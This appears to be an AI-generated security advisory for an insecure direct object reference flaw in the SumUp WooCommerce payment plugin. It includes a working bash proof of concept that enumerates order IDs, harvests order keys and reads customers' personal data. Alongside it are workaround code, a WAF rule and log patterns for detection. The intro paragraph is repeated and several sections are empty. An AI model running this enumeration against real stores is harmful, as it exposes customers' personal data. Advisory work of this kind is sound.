CVE-2026-97345 — SumUp Payment Gateway For WooCommerce — CWE-639
The SumUp Payment Gateway For WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 2.17.1 via the 'sumup-validate-order' query parameter handled by the check_redirect_flow() / resolve_payment_redirect_validation() functions. The template_redirect handler accepts an arbitrary numeric order ID from an unauthenticated GET request and, without any ownership or capability check, loads the corresponding WooCommerce order and issues a 302 redirect whose Location header is built by get_return_url(), disclosing the target order's secret order_key. This makes it possible for unauthenticated attackers to enumerate order IDs, harvest each order's WooCommerce order_key, and use those keys against the plugin's create_checkout endpoint and WooCommerce's own order-received/order-pay pages to read customer PII (name, email, phone, billing address, order total) for any order in the store.
The SumUp Payment Gateway For WooCommerce plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 2.17.1 via the 'sumup-validate-order' query parameter handled by the check_redirect_flow() / resolve_payment_redirect_validation() functions. The template_redirect handler accepts an arbitrary numeric order ID from an unauthenticated GET request and, without any ownership or capability check, loads the corresponding WooCommerce order and issues a 302 redirect whose Location header is built by get_return_url(), disclosing the target order's secret order_key. This makes it possible for unauthenticated attackers to enumerate order IDs, harvest each order's WooCommerce order_key, and use those keys against the plugin's create_checkout endpoint and WooCommerce's own order-received/order-pay pages to read customer PII (name, email, phone, billing address, order total) for any order in the store.
🎯 What is this vulnerability?
Insecure Direct Object Reference (IDOR) in the SumUp Payment Gateway For WooCommerce plugin (≤ 2.17.1).
The plugin’s template_redirect handler processes the sumup-validate-order query parameter.
- The value is interpreted as a numeric WooCommerce order ID.
- No ownership, capability, or authentication check is performed before the order is loaded.
- The handler then issues a 302 redirect whose
Locationheader is built byget_return_url(). get_return_url()appends the order’s secretorder_keyto the redirect URL.
Because the redirect URL contains the order key, an unauthenticated attacker can:
1. Enumerate order IDs (e.g., 1, 2, 3, …).
2. Harvest the corresponding order_key from the redirect.
3. Use that key to access WooCommerce’s order-received / order-pay pages or the plugin’s create_checkout endpoint, thereby reading the order’s PII (name, email, phone, billing address, total, etc.).
The flaw is a classic CWE‑639 (Authorization Bypass Through User-Controlled Key): the plugin trusts a user‑supplied value to identify a protected resource without verifying that the user is authorized to view it.
⚡ Attack Chain
1. Discovery & Reconnaissance
| Step | Technique | Tools / Commands | |
|---|---|---|---|
| Identify WordPress | Scan for common WP paths | curl -I https://example.com/wp-admin/ | |
| Detect plugin & version | Check plugin readme or admin‑ajax | curl -s https://example.com/wp-content/plugins/sumup-payment-gateway-for-woocommerce/readme.txt | grep -i version |
| Verify vulnerability | Test a single order ID | curl -I "https://example.com/?sumup-validate-order=1" |
If the Location header contains order_key= the site is vulnerable.
2. Exploitation
Illustrative PoC (replace example.com with the target domain):
# 1️⃣ Enumerate order IDs and capture order keys
for id in {1..1000}; do
resp=$(curl -s -I "https://example.com/?sumup-validate-order=$id" | grep -i Location)
if echo "$resp" | grep -q "order_key="; then
echo "Order $id: $resp"
fi
doneThe script prints lines like:
Location: https://example.com/?order-received=12345&key=abcd1234efgh5678Using the harvested key to read order details:
# 2️⃣ Access the order‑received page with the key
curl -s "https://example.com/?order-received=12345&key=abcd1234efgh5678" | grep -E 'Name|Email|Phone|Address|Total'The response will contain the customer’s PII.
Alternative: use the plugin’s create_checkout endpoint (if exposed):
curl -s -X POST "https://example.com/?wc-ajax=create_checkout" \
-d "order_id=12345&order_key=abcd1234efgh5678" | jq .The JSON payload will reveal the order contents.
3. Post‑Exploitation
🌍 Real World Impact
| Impact | CVSS 3.1 Vector | Explanation |
|---|---|---|
| Confidentiality | C:H | The attacker obtains customer PII (name, email, phone, address, order total). |
| Integrity | I:N | No modification of data. |
| Availability | A:N | No denial‑of‑service effect. |
Practical consequences
🛡️ Remediation & Mitigation
Affected Versions
Patch
sumup-validate-order handler or adds an ownership check before redirecting).Workarounds
1. Disable the vulnerable redirect
Add the following to your theme’s functions.php (or a site‑wide plugin) to remove the action that processes sumup-validate-order:
add_action( 'init', function() {
remove_action( 'template_redirect', 'sumup_validate_order_redirect' ); // replace with actual function name if different
}, 20 );2. WAF / ModSecurity rule – Block requests containing the sumup-validate-order parameter:
SecRule REQUEST_URI "@rx sumup-validate-order" \
"id:100001,phase:2,deny,status:403,msg:'SumUp IDOR protection'"3. Restrict access to WooCommerce order pages – Add a rule to require authentication for order-received and order-pay pages:
add_action( 'template_redirect', function() {
if ( is_page( array( 'order-received', 'order-pay' ) ) && ! is_user_logged_in() ) {
wp_redirect( wp_login_url() );
exit;
}
}, 10 );Detection
| Log Pattern | What to look for |
|---|---|
GET /?sumup-validate-order=\d+ | Unauthenticated requests to the vulnerable endpoint. |
302 Moved Temporarily with Location: ...?order_key= | Successful enumeration and key disclosure. |
| Repeated 302 redirects for sequential order IDs | Automated enumeration. |
Access to ?order-received or ?order-pay with order_key= by non‑logged‑in IPs | Unauthorized data access. |
Sample Apache log entry
127.0.0.1 - - [27/Nov/2026:12:34:56 +0000] "GET /?sumup-validate-order=12345 HTTP/1.1" 302 0 "-" "Mozilla/5.0"
127.0.0.1 - - [27/Nov/2026:12:34:56 +0000] "GET /?order-received=12345&key=abcd1234efgh5678 HTTP/1.1" 200 1024 "-" "Mozilla/5.0"⚠️ Urgency
1. Audit all WordPress installations for the plugin version.
2. Upgrade to the patched release as soon as possible.
3. Implement the WAF rule or code workaround if an upgrade cannot be performed immediately.
4. Monitor logs for the patterns above and block offending IPs.
5. Verify that order keys are no longer exposed by attempting a test request after remediation.
By following these steps, you eliminate the IDOR flaw and protect customer data from unauthorized disclosure.
[🤖 CVE Professor AI Security Engine]
FOFA Query